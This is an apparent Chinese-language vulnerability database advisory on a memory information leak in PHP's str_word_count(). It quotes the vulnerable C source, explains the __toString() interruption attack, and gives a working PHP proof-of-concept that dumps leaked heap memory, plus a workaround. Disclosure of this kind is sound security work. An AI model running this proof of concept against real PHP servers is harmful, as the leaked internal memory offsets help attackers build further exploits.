ZeroBox Vulnerability Database

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP的str_word_count()函数中存在信息泄露漏洞：

PHP_FUNCTION(str_word_count)
{
    char *buf, *str, *char_list = NULL, *p, *e, *s, ch[256];
    int str_len, char_list_len = 0, word_count = 0;
    long type = 0;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ls", &str, &str_len, &type, &char_list, &char_list_len) == FAILURE) {
        return;
    }

    …

    if (char_list) {
        php_charmask((unsigned char *)char_list, char_list_len, ch TSRMLS_CC);
    }
    
    p = str;
    e = str + str_len;

    …

    while (p < e) {
        s = p;
        while (p < e && (isalpha((unsigned char)*p) || (char_list && ch[(unsigned char)*p]) || *p == ‘\” || *p == ‘-‘)) {
            p++;
        }
        if (p > s) {
            switch (type)
            {
                case 1:
                    buf = estrndup(s, (p-s));
                    add_next_index_stringl(return_value, buf, (p-s), 0);
                    break;
                case 2:
                    buf = estrndup(s, (p-s));
                    add_index_stringl(return_value, (s – str), buf, p-s, 0);
                    break;
                default:
                    word_count++;
                    break;      
            }
        }
        p++;
    }
    
    if (!type) {
        RETURN_LONG(word_count);        
    }
}

zend_parse_parameters()函数最多将2个字符串参数检索到了本地变量，放松了这些变量与原始ZVAL之间的联系。问题是在原始ZVAL被中断修改的情况下，字符串指针会指向已释放的或重用的内存。这种情况下的中断攻击也比较容易，因为zend_parse_parameters()支持对象的__toString()方式。攻击者只需以str_word_count()第三个参数的形式传送对象，由于call time pass by reference功能，之后攻击者可以从__toString()方式杀死第一个字符串参数，并重用于哈希表。这会导致str_word_count()作用于哈希表的内存而不是字符串的内存，允许攻击者泄露重要的内部内存偏移。

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS[‘var’] = str_repeat("A", 39);
} else {
    $GLOBALS[‘var’] = str_repeat("A", 67);      
}

/* Trigger the Code */
$x = str_word_count(&$GLOBALS[‘var’], 1, new charlist());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "——-\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "– "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
    }
    echo "\n";
}
?>

* 禁用call time pass by reference功能。

厂商补丁：

PHP
—
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：